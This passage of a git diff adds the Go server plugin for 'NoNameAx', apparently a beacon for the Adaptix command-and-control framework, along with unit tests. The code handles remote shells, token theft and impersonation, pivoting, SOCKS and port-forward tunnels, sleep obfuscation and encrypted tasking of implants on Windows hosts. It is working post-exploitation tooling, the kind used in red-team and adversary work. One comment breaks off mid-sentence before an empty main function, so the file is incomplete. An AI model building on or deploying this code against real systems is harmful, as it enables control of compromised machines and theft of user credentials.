== 0 { + return "ps: no processes found", "" + } + + type psEntry struct { + Pid uint + Ppid uint + SessionId uint + Arch string + Elevated bool + Context string + Name string + } + + cursor := 5 + var proclist []psEntry + contextMaxSize := 10 + + for i := 0; i < processCount; i++ { + if cursor+8 > len(data) { + break + } + pid := uint(binary.LittleEndian.Uint16(data[cursor : cursor+2])) + cursor += 2 + ppid := uint(binary.LittleEndian.Uint16(data[cursor : cursor+2])) + cursor += 2 + session := uint(binary.LittleEndian.Uint16(data[cursor : cursor+2])) + cursor += 2 + arch64 := data[cursor] + cursor++ + elev := data[cursor] + cursor++ + + domain, newCursor := readLenPrefixedStringGo(data, cursor) + cursor = newCursor + username, newCursor2 := readLenPrefixedStringGo(data, cursor) + cursor = newCursor2 + procName, newCursor3 := readLenPrefixedStringGo(data, cursor) + cursor = newCursor3 + + archStr := "" + if arch64 == 1 { + archStr = "x64" + } else if arch64 == 0 { + archStr = "x86" + } + + ctx := "" + if username != "" { + ctx = username + if domain != "" { + ctx = domain + "\\" + username + } + if elev > 0 { + ctx += " *" + } + if len(ctx) > contextMaxSize { + contextMaxSize = len(ctx) + } + } + + proclist = append(proclist, psEntry{ + Pid: pid, Ppid: ppid, SessionId: session, + Arch: archStr, Elevated: elev > 0, Context: ctx, Name: procName, + }) + } + + type treeProc struct { + Data psEntry + Children []*treeProc + } + + procMap := make(map[uint]*treeProc) + var roots []*treeProc + + for _, proc := range proclist { + node := &treeProc{Data: proc} + procMap[proc.Pid] = node + } + + for _, node := range procMap { + if node.Data.Ppid == 0 || node.Data.Pid == node.Data.Ppid { + roots = append(roots, node) + } else if parent, ok := procMap[node.Data.Ppid]; ok { + parent.Children = append(parent.Children, node) + } else { + roots = append(roots, node) + } + } + + sort.Slice(roots, func(i, j int) bool { return roots[i].Data.Pid < roots[j].Data.Pid }) + var sortChildren func(node *treeProc) + sortChildren = func(node *treeProc) { + sort.Slice(node.Children, func(i, j int) bool { return node.Children[i].Data.Pid < node.Children[j].Data.Pid }) + for _, child := range node.Children { + sortChildren(child) + } + } + for _, root := range roots { + sortChildren(root) + } + + format := fmt.Sprintf(" %%-5v %%-5v %%-7v %%-5v %%-%vv %%v", contextMaxSize) + outputText := fmt.Sprintf(format, "PID", "PPID", "Session", "Arch", "Context", "Process") + outputText += fmt.Sprintf("\n"+format, "---", "----", "-------", "----", "-------", "-------") + + var lines []string + var formatTree func(node *treeProc, prefix string, isLast bool) + formatTree = func(node *treeProc, prefix string, isLast bool) { + branch := "├─ " + if isLast { + branch = "└─ " + } + treePrefix := prefix + branch + d := node.Data + line := fmt.Sprintf(format, d.Pid, d.Ppid, d.SessionId, d.Arch, d.Context, treePrefix+d.Name) + lines = append(lines, line) + + childPrefix := prefix + if isLast { + childPrefix += " " + } else { + childPrefix += "│ " + } + for i, child := range node.Children { + formatTree(child, childPrefix, i == len(node.Children)-1) + } + } + + for i, root := range roots { + formatTree(root, "", i == len(roots)-1) + } + + outputText += "\n" + strings.Join(lines, "\n") + + var guiProcList []adaptix.ListingProcessDataWin + for _, p := range proclist { + guiProcList = append(guiProcList, adaptix.ListingProcessDataWin{ + Pid: p.Pid, Ppid: p.Ppid, SessionId: p.SessionId, + Arch: p.Arch, Context: p.Context, ProcessName: p.Name, + }) + } + if Ts != nil { + task := adaptix.TaskData{AgentId: agentData.Id, TaskId: taskIdStr} + Ts.TsClientGuiProcessWindows(task, guiProcList) + } + + return fmt.Sprintf("Process list (%d entries)", len(proclist)), outputText +} + +// naxOsVersion maps PEB major/minor/build to a human-readable OS string. +func naxOsVersion(major, minor uint32, build uint16, arch string) string { + ver := "unknown" + b := uint32(build) + switch { + case major == 10 && minor == 0 && b >= 22000: + ver = "Win 11" + case major == 10 && minor == 0 && b >= 19045: + ver = "Win 10" + case major == 10 && minor == 0: + ver = "Win 10" + case major == 6 && minor == 3: + ver = "Win 8.1" + case major == 6 && minor == 2: + ver = "Win 8" + case major == 6 && minor == 1: + ver = "Win 7" + } + return fmt.Sprintf("%s %s (Build %d)", ver, arch, build) +} + +/* ========= [ ls helpers ] ========= */ + +func decodeLsResult(data []byte) (string, string) { + if len(data) < 4 { + return "ls: empty result", "" + } + pathLen := int(binary.LittleEndian.Uint16(data[0:2])) + if 2+pathLen+2 > len(data) { + return "ls: malformed result", "" + } + path := string(data[2 : 2+pathLen]) + count := int(binary.LittleEndian.Uint16(data[2+pathLen : 4+pathLen])) + pos := 4 + pathLen + + type lsEntry struct { + isDir bool + attrs byte + size uint32 + mtime uint32 + name string + } + + var dirs, files []lsEntry + for i := 0; i < count; i++ { + if pos+11 > len(data) { + break + } + e := lsEntry{ + isDir: data[pos] != 0, + attrs: data[pos+1], + size: binary.LittleEndian.Uint32(data[pos+2 : pos+6]), + mtime: binary.LittleEndian.Uint32(data[pos+6 : pos+10]), + } + nlen := int(data[pos+10]) + if pos+11+nlen > len(data) { + break + } + e.name = string(data[pos+11 : pos+11+nlen]) + pos += 11 + nlen + if e.isDir { + dirs = append(dirs, e) + } else { + files = append(files, e) + } + } + + all := append(dirs, files...) + + header := fmt.Sprintf(" %-8s %-5s %-14s %-20s %s\n", + "Type", "Attr", "Size", "Last Modified", "Name") + header += fmt.Sprintf(" %-8s %-5s %-14s %-20s %s", + "----", "----", "---------", "----------------", "----") + + body := "" + for _, e := range all { + t := time.Unix(int64(e.mtime), 0).UTC() + ts := fmt.Sprintf("%02d/%02d/%d %02d:%02d", t.Day(), t.Month(), t.Year(), t.Hour(), t.Minute()) + typeStr := "" + if e.isDir { + typeStr = "dir" + } + attrStr := lsAttrString(e.attrs, e.isDir) + sizeStr := "" + if !e.isDir { + sizeStr = sizeBytesToFormat(int64(e.size)) + } + body += fmt.Sprintf("\n %-8s %-5s %-14s %-20s %s", typeStr, attrStr, sizeStr, ts, e.name) + } + + msg := fmt.Sprintf("Listing '%s' (%d entries)", path, len(all)) + return msg, header + body +} + +func lsAttrString(attrs byte, isDir bool) string { + d := '-' + if isDir { + d = 'd' + } + h := '-' + if attrs&0x02 != 0 { + h = 'h' + } + s := '-' + if attrs&0x04 != 0 { + s = 's' + } + r := '-' + if attrs&0x01 != 0 { + r = 'r' + } + return fmt.Sprintf("%c%c%c%c", d, h, s, r) +} + +/* ========= [ BOF helpers ] ========= */ + +func packBofArgs(spec string) ([]byte, error) { + if spec == "" { + return nil, nil + } + packer := NewBofPacker() + for _, part := range splitArgs(spec) { + idx := 0 + for idx < len(part) && part[idx] != ':' { + idx++ + } + var typ, val string + if idx >= len(part) { + typ = "str" + val = part + } else { + typ = part[:idx] + val = part[idx+1:] + } + switch typ { + case "str": + packer.AddStr(val) + case "wstr": + packer.AddWStr(val) + case "int": + var n int64 + if _, err := fmt.Sscan(val, &n); err != nil { + return nil, fmt.Errorf("int arg %q: %w", val, err) + } + packer.AddInt(int32(n)) + case "short": + var n int64 + if _, err := fmt.Sscan(val, &n); err != nil { + return nil, fmt.Errorf("short arg %q: %w", val, err) + } + packer.AddShort(int16(n)) + default: + return nil, fmt.Errorf("unknown arg type %q", typ) + } + } + return packer.Bytes(), nil +} + +func splitArgs(s string) []string { + var out []string + start := 0 + for i := 0; i < len(s); i++ { + if s[i] == ',' { + out = append(out, s[start:i]) + start = i + 1 + } + } + out = append(out, s[start:]) + return out +} + +/* ========= [ token result decoder ] ========= */ + +func decodeTokenGetUidResult(data []byte) (string, string) { + if len(data) < 5 { + return "token getuid: truncated result", "" + } + user, cursor := readLenPrefixedStringGo(data, 0) + domain, cursor := readLenPrefixedStringGo(data, cursor) + elevated := byte(0) + if cursor < len(data) { + elevated = data[cursor] + } + star := "" + if elevated != 0 { + star = " *" + } + displayText := fmt.Sprintf("%s\\%s%s", domain, user, star) + return displayText, displayText +} + +func decodeTokenStealResult(data []byte) (string, string) { + if len(data) < 4 { + return "token steal: truncated result", "" + } + tokenId := binary.LittleEndian.Uint32(data[0:4]) + user, cursor := readLenPrefixedStringGo(data, 4) + domain, _ := readLenPrefixedStringGo(data, cursor) + displayText := fmt.Sprintf("Stolen token %d: %s\\%s", tokenId, domain, user) + return displayText, displayText +} + +func decodeTokenMakeResult(data []byte) (string, string) { + if len(data) < 4 { + return "token make: truncated result", "" + } + tokenId := binary.LittleEndian.Uint32(data[0:4]) + user, cursor := readLenPrefixedStringGo(data, 4) + domain, _ := readLenPrefixedStringGo(data, cursor) + displayText := fmt.Sprintf("Created token %d: %s\\%s", tokenId, domain, user) + return displayText, displayText +} + +func decodeTokenListResult(data []byte) (string, string) { + if len(data) < 4 { + return "No tokens stored", "" + } + count := binary.LittleEndian.Uint32(data[0:4]) + if count == 0 { + return "No tokens stored", "" + } + var lines []string + lines = append(lines, fmt.Sprintf("Stored tokens: %d", count)) + lines = append(lines, fmt.Sprintf(" %-8s %-8s %-20s %s", "Token", "PID", "Domain", "User")) + lines = append(lines, fmt.Sprintf(" %-8s %-8s %-20s %s", "-----", "---", "------", "----")) + cursor := 4 + for i := uint32(0); i < count && cursor+8 <= len(data); i++ { + tid := binary.LittleEndian.Uint32(data[cursor : cursor+4]) + cursor += 4 + pid := binary.LittleEndian.Uint32(data[cursor : cursor+4]) + cursor += 4 + user, c := readLenPrefixedStringGo(data, cursor) + cursor = c + domain, c := readLenPrefixedStringGo(data, cursor) + cursor = c + pidStr := fmt.Sprintf("%d", pid) + if pid == 0 { + pidStr = "logon" + } + lines = append(lines, fmt.Sprintf(" %-8d %-8s %-20s %s", tid, pidStr, domain, user)) + } + return lines[0], strings.Join(lines, "\n") +} + +func decodeTokenPrivsResult(data []byte) (string, string) { + if len(data) < 4 { + return "token privs: truncated result", "" + } + count := binary.LittleEndian.Uint32(data[0:4]) + if count == 0 { + return "No privileges found", "" + } + var lines []string + lines = append(lines, fmt.Sprintf("Privileges: %d", count)) + lines = append(lines, fmt.Sprintf(" %-40s %s", "Privilege", "Status")) + lines = append(lines, fmt.Sprintf(" %-40s %s", "---------", "------")) + cursor := 4 + for i := uint32(0); i < count && cursor+2 <= len(data); i++ { + name, c := readLenPrefixedStringGo(data, cursor) + cursor = c + if cursor+4 > len(data) { + break + } + attrs := binary.LittleEndian.Uint32(data[cursor : cursor+4]) + cursor += 4 + status := "Disabled" + if attrs&0x00000002 != 0 { + status = "Enabled" + } + if attrs&0x00000001 != 0 { + status = "Enabled (default)" + } + lines = append(lines, fmt.Sprintf(" %-40s %s", name, status)) + } + return lines[0], strings.Join(lines, "\n") +} + +func sizeBytesToFormat(size int64) string { + const unit = 1024 + if size < unit { + return fmt.Sprintf("%d B", size) + } + div, exp := int64(unit), 0 + for n := size / unit; n >= unit; n /= unit { + div *= unit + exp++ + } + return fmt.Sprintf("%.1f %cB", float64(size)/float64(div), "KMGTPE"[exp]) +} diff --git a/src_server/agent_nonameax/pl_main.go b/src_server/agent_nonameax/pl_main.go new file mode 100644 index 0000000..18c6139 --- /dev/null +++ b/src_server/agent_nonameax/pl_main.go @@ -0,0 +1,413 @@ +package main + +import ( + "encoding/binary" + "fmt" + "math/rand" + "strconv" + "strings" + "sync" + + adaptix "github.com/Adaptix-Framework/axc2" +) + +// Ts callback constants - match Adaptix SDK values. +const ( + taskTypeTask = adaptix.TASK_TYPE_TASK // runnable command + messageSeverityInfo = adaptix.MESSAGE_INFO // blue info in operator console + messageSeverityError = adaptix.MESSAGE_ERROR // red error + messageSeveritySuccess = adaptix.MESSAGE_SUCCESS // green success +) + +func naxLogInfo(format string, args ...any) { fmt.Printf("[NoNameAx] [*] "+format+"\n", args...) } +func naxLogOk(format string, args ...any) { fmt.Printf("[NoNameAx] [+] "+format+"\n", args...) } +func naxLogErr(format string, args ...any) { fmt.Printf("[NoNameAx] [-] "+format+"\n", args...) } + +// NaX wire command IDs - must match Wire.h NAX_CMD_* in the C beacon. +const ( + CMD_WHOAMI byte = 0x10 + CMD_SLEEP byte = 0x11 + CMD_EXIT_THREAD byte = 0x12 + CMD_EXIT_PROC byte = 0x13 + CMD_CD byte = 0x14 + CMD_PWD byte = 0x15 + CMD_MKDIR byte = 0x16 + CMD_RMDIR byte = 0x17 + CMD_CAT byte = 0x18 + CMD_LS byte = 0x19 + CMD_BOF byte = 0x20 + CMD_SCREENSHOT byte = 0x21 + CMD_DOWNLOAD byte = 0x22 + CMD_PS_LIST byte = 0x23 + CMD_PS_KILL byte = 0x24 + CMD_PS_RUN byte = 0x25 + CMD_UPLOAD byte = 0x26 + CMD_RM byte = 0x27 + CMD_SAVEMEMORY byte = 0x2A + CMD_CHUNKSIZE byte = 0x2B + CMD_PROFILE byte = 0x30 + CMD_PIVOT_EXEC byte = 0x37 + CMD_LINK byte = 0x38 + CMD_UNLINK byte = 0x39 + CMD_JOB_LIST byte = 0x28 + CMD_JOB_KILL byte = 0x29 + CMD_BOF_STOMP byte = 0x31 + CMD_SLEEPMASK_SET byte = 0x32 + CMD_SLEEPOBF_CONFIG byte = 0x33 + CMD_TOKEN_GETUID byte = 0x50 + CMD_TOKEN_STEAL byte = 0x51 + CMD_TOKEN_USE byte = 0x52 + CMD_TOKEN_LIST byte = 0x53 + CMD_TOKEN_RM byte = 0x54 + CMD_TOKEN_REVERT byte = 0x55 + CMD_TOKEN_MAKE byte = 0x56 + CMD_TOKEN_PRIVS byte = 0x57 + CMD_DLL_NOTIFY_LIST byte = 0x3A + CMD_DLL_NOTIFY_REMOVE byte = 0x3B + CMD_SHELL_START byte = 0x47 + CMD_SHELL_WRITE byte = 0x48 + CMD_SHELL_CLOSE byte = 0x49 + + JOB_OUTPUT byte = 0x01 + JOB_COMPLETE byte = 0x02 + JOB_KILLED byte = 0x03 +) + +// NaX wire status codes - must match Wire.h NAX_STATUS_* in the C beacon. +const ( + STATUS_OK byte = 0x00 + STATUS_ERR byte = 0x01 + STATUS_ASYNC byte = 0x10 +) + +// Adaptix BOF callback type tags - must match Bof.h CALLBACK_AX_* in the C beacon. +const ( + CALLBACK_SCREENSHOT byte = 0x81 // CALLBACK_AX_SCREENSHOT + CALLBACK_DOWNLOAD byte = 0x82 // CALLBACK_AX_DOWNLOAD_MEM + + DL_START byte = 0x01 + DL_CONTINUE byte = 0x02 + DL_FINISH byte = 0x03 + + UPLOAD_CHUNK_DEFAULT = 0x200000 // 2 MB + UPLOAD_CHUNK_MAX = 0x400000 // 4 MB + UPLOAD_CHUNK_MIN = 4096 +) + +// Teamserver is the subset of Adaptix host callbacks the agent plugin uses. +type Teamserver interface { + TsTaskCreate(agentId string, cmdline string, client string, taskData adaptix.TaskData) + TsTaskUpdate(agentId string, updateData adaptix.TaskData) + TsAgentUpdateData(newAgentData adaptix.AgentData) error + TsAgentUpdateDataPartial(agentId string, updateData any) error + TsScreenshotAdd(agentId string, Note string, Content []byte) error + TsClientGuiProcessWindows(taskData adaptix.TaskData, process []adaptix.ListingProcessDataWin) + TsDownloadAdd(agentId string, fileId string, fileName string, fileSize int64) error + TsDownloadUpdate(fileId string, state int, data []byte) error + TsDownloadClose(fileId string, reason int) error + TsDownloadSave(agentId string, fileId string, filename string, content []byte) error + TsAgentBuildLog(builderId string, status int, message string) error + + TsExtenderDataSave(extenderName, key string, value []byte) error + TsExtenderDataLoad(extenderName, key string) ([]byte, error) + TsExtenderDataDelete(extenderName, key string) error + TsExtenderDataKeys(extenderName string) ([]string, error) + + TsEventHookOnPost(eventType, name string, handler func(any) error) string + + TsAgentConsoleOutput(agentId string, messageType int, message string, clearText string, store bool) + + TsListenerInteralHandler(watermark string, data []byte) (string, error) + TsPivotCreate(pivotId, pAgentId, chAgentId, pivotName string, isRestore bool) error + TsPivotDelete(pivotId string) error + TsGetPivotInfoById(pivotId string) (string, string, string) + TsAgentProcessData(agentId string, bodyData []byte) error + TsAgentSetTick(agentId string, listenerName string) error + + TsTunnelStart(TunnelId string) (string, error) + TsTunnelCreateLportfwd(AgentId string, Info string, Lhost string, Lport int, Thost string, Tport int) (string, error) + TsTunnelCreateRportfwd(AgentId string, Info string, Lport int, Thost string, Tport int) (string, error) + TsTunnelCreateSocks4(AgentId string, Info string, Lhost string, Lport int) (string, error) + TsTunnelCreateSocks5(AgentId string, Info string, Lhost string, Lport int, UseAuth bool, Username string, Password string) (string, error) + TsTunnelStopLportfwd(AgentId string, Port int) + TsTunnelStopRportfwd(AgentId string, Port int) + TsTunnelStopSocks(AgentId string, Port int) + TsTunnelUpdateRportfwd(tunnelId int, result bool) (string, string, error) + TsTunnelConnectionResume(AgentId string, channelId int, ioDirect bool) + TsTunnelConnectionClose(channelId int, writeOnly bool) + TsTunnelConnectionData(channelId int, data []byte) + TsTunnelConnectionAccept(tunnelId int, channelId int) + TsTunnelConnectionHalt(channelId int, errorCode byte) + TsTunnelPause(channelId int) + TsTunnelResume(channelId int) + + TsTerminalConnResume(agentId string, terminalId string, ioDirect bool) + TsTerminalConnData(terminalId string, data []byte) + TsTerminalConnClose(terminalId string, reason string) error + TsConvertCpToUTF8(input string, codePage int) string + TsConvertUTF8toCp(input string, codePage int) string +} + +type PluginAgent struct{} +type ExtenderAgent struct{} + +var ( + Ts Teamserver + ModuleDir string + AgentWatermark string + + // agentIdentityCache caches the identity fields parsed from a REGISTER frame + // so that re-registrations triggered by HEARTBEAT frames (after the operator + // deletes a session from the UI) can return the full Computer/Username/etc. + // rather than bare placeholder values. + // Key: beaconID (string), Value: adaptix.AgentData (identity fields only). + agentIdentityCache sync.Map + + // pendingCmdIds tracks the cmd_id (first byte of task.Data) for each in-flight + // task so that ProcessData can take type-specific actions when the result arrives + // (e.g. calling TsAgentUpdateData after a CMD_SLEEP response). + // Key: TaskId (8-char hex string), Value: cmd_id (byte). + pendingCmdIds sync.Map + + // activeJobs tracks async BOF jobs that have been acknowledged (STATUS_ASYNC) + // but not yet completed. When a result arrives for a tracked taskId, it's + // handled as job output rather than a regular command result. + // Key: TaskId (8-char hex string), Value: true. + activeJobs sync.Map + + // activeShells tracks remote shell sessions. When a SHELL_START task + // is dispatched, the taskId (= terminalId) is stored here. Results + // arriving for tracked shell IDs route to terminal handling. + // Key: TaskId (8-char hex string), Value: true. + activeShells sync.Map + + // activeDownloads tracks chunked downloads in progress. The first result + // (DL_START) stores the cmdId here; subsequent results (DL_CONTINUE/DL_FINISH) + // use it since pendingCmdIds is consumed on the first hit. + // Key: TaskId (8-char hex string), Value: true. + activeDownloads sync.Map + + // activeUploads tracks upload sessions in progress (drip-fed one chunk per heartbeat). + // Key: memoryId (uint32), Value: *uploadSession. + activeUploads sync.Map + + // taskMemoryIds maps SAVEMEMORY and UPLOAD taskIds to their memoryId + // so result handlers can look up upload progress state. + // Key: TaskId (8-char hex string), Value: uint32 memoryId. + taskMemoryIds sync.Map + + // pendingProfiles holds the ProfileConfig for CMD_PROFILE tasks that have + // been sent to the beacon but not yet confirmed. + // Key: agentId (string), Value: *ProfileConfig. + pendingProfiles sync.Map + + // sleepmaskBofCache holds the compiled sleepmask BOF (.o) bytes. + // Built during BuildPayload when beacongate is enabled. + // Sent to agents via CMD_SLEEPMASK_SET command. + sleepmaskBofCache []byte +) + +const ( + extenderNameProfiles = "nax_profiles" + extenderNameAgents = "nax_agents" + extenderNamePivots = "nax_pivots" +) + +// InitPlugin is the symbol Adaptix Server looks up after loading the .so. +// Signature mirrors the reference plugin. +func InitPlugin(ts any, moduleDir string, watermark string) adaptix.PluginAgent { + ModuleDir = moduleDir + AgentWatermark = watermark + if ts != nil { + Ts, _ = ts.(Teamserver) + } + loadCacheFromStore() + registerCleanupHooks() + return &PluginAgent{} +} + +// --- PluginAgent stubs --- + +func (p *PluginAgent) GetExtender() adaptix.ExtenderAgent { + return &ExtenderAgent{} +} + +func (p *PluginAgent) GenerateProfiles(profile adaptix.BuildProfile) ([][]byte, error) { + return nil, nil +} + +// --- ExtenderAgent crypto --- + +// Encrypt AES-128-CBC-encrypts data using the agent's SessionKey. +// The Adaptix server calls this in PackData before handing packed tasks +// to the listener (HTTP) or PivotPackData (SMB pivot). The listener +// must NOT add its own encryption layer on top - it only applies +// profile transforms (prepend/append/encode/mask). +func (ext *ExtenderAgent) Encrypt(data []byte, key []byte) ([]byte, error) { + if len(key) != 16 { + return data, nil + } + return EncryptCBCRandomIV(key, data) +} + +// Decrypt AES-128-CBC-decrypts data using the agent's SessionKey. +// The server calls this before ProcessData for both HTTP and pivot paths. +// The listener strips profile transforms but does NOT decrypt - that +// responsibility lives here so pivots (where no listener is involved) +// also get proper decryption. +func (ext *ExtenderAgent) Decrypt(data []byte, key []byte) ([]byte, error) { + if len(key) != 16 { + return data, nil + } + return DecryptCBC(key, data) +} + +// PackTasks serialises ALL pending tasks into one response payload. +// Adaptix calls this once per agent check-in with every queued task and marks +// all of them as dispatched after the call returns - tasks not included in the +// returned bytes are silently dropped. Concatenating all task frames here lets +// the beacon process them sequentially in a single response cycle. +func (ext *ExtenderAgent) PackTasks(agentData adaptix.AgentData, tasks []adaptix.TaskData) ([]byte, error) { + if len(tasks) == 0 { + return nil, nil + } + var out []byte + for _, task := range tasks { + if len(task.Data) == 0 { + continue + } + taskIdInt, err := strconv.ParseInt(task.TaskId, 16, 64) + if err != nil { + return nil, fmt.Errorf("nonameax: PackTasks: bad TaskId %q: %w", task.TaskId, err) + } + pendingCmdIds.Store(task.TaskId, task.Data[0]) + body := EncodeTaskBody(uint32(taskIdInt), task.Data) + out = append(out, EncodeFrame(WireTypeTask, body)...) + } + return out, nil +} + +func (ext *ExtenderAgent) PivotPackData(pivotId string, data []byte) (adaptix.TaskData, error) { + if len(data) == 0 { + return adaptix.TaskData{}, fmt.Errorf("nonameax: PivotPackData: empty data for pivotId %q (child has no tasks)", pivotId) + } + pivotIdInt, err := strconv.ParseUint(pivotId, 16, 32) + if err != nil { + return adaptix.TaskData{}, fmt.Errorf("nonameax: PivotPackData: bad pivotId %q: %w", pivotId, err) + } + // Wire: cmd_id(1) | args_len(4LE) | pivot_id(4LE) | data_len(4LE) | data + argsLen := 4 + 4 + len(data) + buf := make([]byte, 5+argsLen) + buf[0] = CMD_PIVOT_EXEC + binary.LittleEndian.PutUint32(buf[1:5], uint32(argsLen)) + binary.LittleEndian.PutUint32(buf[5:9], uint32(pivotIdInt)) + binary.LittleEndian.PutUint32(buf[9:13], uint32(len(data))) + copy(buf[13:], data) + + taskData := adaptix.TaskData{ + TaskId: fmt.Sprintf("%08x", rand.Uint32()), + Type: adaptix.TASK_TYPE_PROXY_DATA, + Data: buf, + Sync: false, + } + return taskData, nil +} + +func (ext *ExtenderAgent) TunnelCallbacks() adaptix.TunnelCallbacks { + return adaptix.TunnelCallbacks{ + ConnectTCP: tunnelConnectTCP, + ConnectUDP: tunnelConnectUDP, + WriteTCP: tunnelWriteTCP, + WriteUDP: tunnelWriteUDP, + Pause: tunnelPause, + Resume: tunnelResume, + Close: tunnelClose, + Reverse: tunnelReverse, + } +} + +func (ext *ExtenderAgent) TerminalCallbacks() adaptix.TerminalCallbacks { + return adaptix.TerminalCallbacks{ + Start: terminalStart, + Write: terminalWrite, + Close: terminalClose, + } +} + +func terminalStart(terminalId int, program string, sizeH int, sizeW int, oemCP int) adaptix.TaskData { + taskIdStr := fmt.Sprintf("%08x", uint32(terminalId)) + activeShells.Store(taskIdStr, true) + + programOEM := "" + if Ts != nil { + programOEM = Ts.TsConvertUTF8toCp(program, oemCP) + } else { + programOEM = program + } + programBytes := []byte(programOEM) + + // Wire: cmd_id(1) | args_len(4LE) | program_len(4LE) | program_bytes + argsLen := 4 + len(programBytes) + data := make([]byte, 5+argsLen) + data[0] = CMD_SHELL_START + binary.LittleEndian.PutUint32(data[1:5], uint32(argsLen)) + binary.LittleEndian.PutUint32(data[5:9], uint32(len(programBytes))) + copy(data[9:], programBytes) + + return adaptix.TaskData{ + TaskId: taskIdStr, + Type: adaptix.TASK_TYPE_PROXY_DATA, + Data: data, + Sync: false, + } +} + +func terminalWrite(terminalId int, oemCP int, data []byte) adaptix.TaskData { + dataOEM := "" + if Ts != nil { + dataOEM = Ts.TsConvertUTF8toCp(string(data), oemCP) + } else { + dataOEM = string(data) + } + if oemCP > 0 { + dataOEM = strings.ReplaceAll(dataOEM, "\n", "\r\n") + } + dataBytes := []byte(dataOEM) + + // Wire: cmd_id(1) | args_len(4LE) | terminalId(4LE) | data_len(4LE) | data_bytes + argsLen := 4 + 4 + len(dataBytes) + buf := make([]byte, 5+argsLen) + buf[0] = CMD_SHELL_WRITE + binary.LittleEndian.PutUint32(buf[1:5], uint32(argsLen)) + binary.LittleEndian.PutUint32(buf[5:9], uint32(terminalId)) + binary.LittleEndian.PutUint32(buf[9:13], uint32(len(dataBytes))) + copy(buf[13:], dataBytes) + + return adaptix.TaskData{ + TaskId: fmt.Sprintf("%08x", rand.Uint32()), + Type: adaptix.TASK_TYPE_PROXY_DATA, + Data: buf, + Sync: false, + } +} + +func terminalClose(terminalId int) adaptix.TaskData { + taskIdStr := fmt.Sprintf("%08x", uint32(terminalId)) + activeShells.Delete(taskIdStr) + + // Wire: cmd_id(1) | args_len(4LE) | terminalId(4LE) + data := make([]byte, 9) + data[0] = CMD_SHELL_CLOSE + binary.LittleEndian.PutUint32(data[1:5], 4) + binary.LittleEndian.PutUint32(data[5:9], uint32(terminalId)) + + return adaptix.TaskData{ + TaskId: fmt.Sprintf("%08x", rand.Uint32()), + Type: adaptix.TASK_TYPE_PROXY_DATA, + Data: data, + Sync: false, + } +} + +// saveProfileToStore persists a profile override via TsExtenderData so the +func main() {} diff --git a/src_server/agent_nonameax/pl_main_test.go b/src_server/agent_nonameax/pl_main_test.go new file mode 100644 index 0000000..7d53b90 --- /dev/null +++ b/src_server/agent_nonameax/pl_main_test.go @@ -0,0 +1,158 @@ +package main + +import ( + "testing" + + adaptix "github.com/Adaptix-Framework/axc2" +) + +func TestInitPluginReturnsNonNilAgent(t *testing.T) { + got := InitPlugin(stubTeamserver{}, "/tmp/nonameax-test", "no4a4178") + if got == nil { + t.Fatal("InitPlugin returned nil") + } +} + +// stubTeamserver satisfies the host interface for tests. We only need it to be +// type-assertable; no methods are called by the stubs. +type stubTeamserver struct{} + +// --- Phase 2a: CreateAgent tests --- + +func TestCreateAgentPopulatesFromRegisterFrame(t *testing.T) { + body := []byte{} + body = append(body, 0x04, 0x00) + body = append(body, []byte("HOST")...) + body = append(body, 0x05, 0x00) + body = append(body, []byte("alice")...) + body = append(body, 0x01) + body = append(body, 0x39, 0x05, 0x00, 0x00) // pid = 1337 + body = append(body, 0xe8, 0x03, 0x00, 0x00) // sleep_ms = 1000 + + frame := EncodeFrame(WireTypeRegister, body) + + testKey := []byte{0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10} + encrypted, err := EncryptCBCRandomIV(testKey, frame) + if err != nil { + t.Fatalf("EncryptCBC: %v", err) + } + + const fakeBeaconID = "deadbeef12345678" + beat := append([]byte(fakeBeaconID), testKey...) + beat = append(beat, encrypted...) + + p := &PluginAgent{} + ad, ext, err := p.CreateAgent(beat) + if err != nil { + t.Fatalf("CreateAgent: %v", err) + } + if ext == nil { + t.Error("ExtenderAgent must not be nil") + } + if ad.Id != fakeBeaconID { + t.Errorf("Id: got %q, want %q", ad.Id, fakeBeaconID) + } + if ad.Computer != "HOST" { + t.Errorf("Computer: got %q, want HOST", ad.Computer) + } + if ad.Username != "alice" { + t.Errorf("Username: got %q, want alice", ad.Username) + } + if ad.Pid != "1337" { + t.Errorf("Pid: got %q, want 1337", ad.Pid) + } + if ad.Arch != "x64" { + t.Errorf("Arch: got %q, want x64", ad.Arch) + } + if ad.Sleep != 1 { + // sleep_ms = 1000 → Sleep in seconds = 1 + t.Errorf("Sleep: got %d, want 1", ad.Sleep) + } +} + +func TestCreateAgentAcceptsHeartbeatAsReregister(t *testing.T) { + frame := EncodeFrame(WireTypeHeartbeat, nil) + + testKey := []byte{0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10} + encrypted, _ := EncryptCBCRandomIV(testKey, frame) + + beat := append([]byte("deadbeef12345678"), testKey...) + beat = append(beat, encrypted...) + p := &PluginAgent{} + ad, ext, err := p.CreateAgent(beat) + if err != nil { + t.Errorf("HEARTBEAT re-register must not return error, got: %v", err) + } + if ad.Id != "deadbeef12345678" { + t.Errorf("Id: got %q, want deadbeef12345678", ad.Id) + } + if ext == nil { + t.Error("ExtenderAgent must not be nil") + } +} + +// --- Phase 2a: ProcessData + identity crypto tests --- + +func TestProcessDataAcceptsHeartbeat(t *testing.T) { + frame := EncodeFrame(WireTypeHeartbeat, nil) + ext := &ExtenderAgent{} + if err := ext.ProcessData(adaptix.AgentData{}, frame); err != nil { + t.Errorf("HEARTBEAT should not error: %v", err) + } +} + +func TestProcessDataIgnoresDuplicateRegister(t *testing.T) { + frame := EncodeFrame(WireTypeRegister, []byte{0x00, 0x00, 0x00, 0x00, 0x01, 0, 0, 0, 0, 0, 0, 0, 0}) + ext := &ExtenderAgent{} + if err := ext.ProcessData(adaptix.AgentData{}, frame); err != nil { + t.Errorf("duplicate REGISTER should be ignored, not errored: %v", err) + } +} + +func TestProcessDataAcceptsResultStub(t *testing.T) { + frame := EncodeFrame(WireTypeResult, []byte{0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) + ext := &ExtenderAgent{} + if err := ext.ProcessData(adaptix.AgentData{}, frame); err != nil { + t.Errorf("RESULT is a no-op in Phase 2 (Phase 3 implements); got error: %v", err) + } +} + +func TestProcessDataRejectsUnknownType(t *testing.T) { + // 0x55 is in the reserved range and not used by v0 + frame := EncodeFrame(0x55, nil) + ext := &ExtenderAgent{} + if err := ext.ProcessData(adaptix.AgentData{}, frame); err == nil { + t.Error("expected error for unknown message 